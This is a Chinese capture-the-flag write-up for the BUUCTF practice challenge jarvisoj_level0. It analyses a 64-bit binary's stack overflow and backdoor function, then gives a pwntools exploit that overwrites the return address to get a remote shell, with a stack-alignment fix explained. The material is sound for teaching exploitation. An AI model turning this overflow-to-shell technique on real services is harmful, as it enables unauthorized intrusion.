BUUCTF jarvisoj_level0 1

目录

一、分析

查看文件信息

关键信息

  • 64位程序
  • 栈不可执行

IDA64反汇编

进入第一个函数

栈溢出
shift + F12查找字符串

点进去

发现是一个后门函数

二、EXP

csharp 复制代码
from pwn import *

context.arch = 'amd64'
# p = process("/tmp/pwn/level0")
p = remote("node4.buuoj.cn",28644)
elf = ELF("/tmp/pwn/level0")
callsystem = elf.symbols['callsystem']
p.sendline(flat([b"a"*128, 'a'*8, callsystem]))

p.interactive()

三、本地打不通?远程能打通?

修改代码处

csharp 复制代码
p.sendline(flat([b"a"*128, 'a'*8, callsystem + 1]))

为什么地址地址 + 1就可以执行了呢?

👉参考该文章

64位ubuntu18以上系统调用system函数时是需要栈对齐的。再具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐

跳过了push rbp之后,rsp就少压栈了8字节,此时栈16位对齐

相关推荐
Inhand陈工7 小时前
游轮WiFi覆盖方案复盘:6台5G CPE + AP实现全船高速上网
人工智能·物联网·网络协议·网络安全·信息与通信·iot
君如风军如风12 小时前
等保2.0安全通用要求第三级别之安全通信网络
网络安全·等级保护·等保2.0·安全合规·gb/t 22239
锐速网络14 小时前
静态资源加速+WAF防护,构建企业安全加速一体化架构
网络安全·网站安全·cdn加速·应用层防护·静态资源加速·waf防护·企业web防护
vortex518 小时前
THC-IPv6 攻击工具包:IPv6 渗透测试
网络安全·ipv6
瘾大侠19 小时前
HTB - Reactor
网络·安全·web安全·网络安全
白雪落青衣19 小时前
Upload-Labs-Linux
web安全·网络安全·系统安全
pencek19 小时前
Hack-The-Box-WingData
网络安全
X7x519 小时前
网络访问控制(NAC):企业网络安全的“智能门禁系统”
网络安全·网络攻击模型·安全威胁分析·安全架构·nac
深邃-21 小时前
【Web安全】-企业资产信息收集(2):子域名查询,小程序和APP收集
计算机网络·安全·web安全·网络安全·小程序·系统安全·fofa
这是谁的博客?1 天前
AI Agent 安全架构设计:漏洞分析与防护策略深度解析
人工智能·安全·网络安全·ai·agent·安全架构·架构设计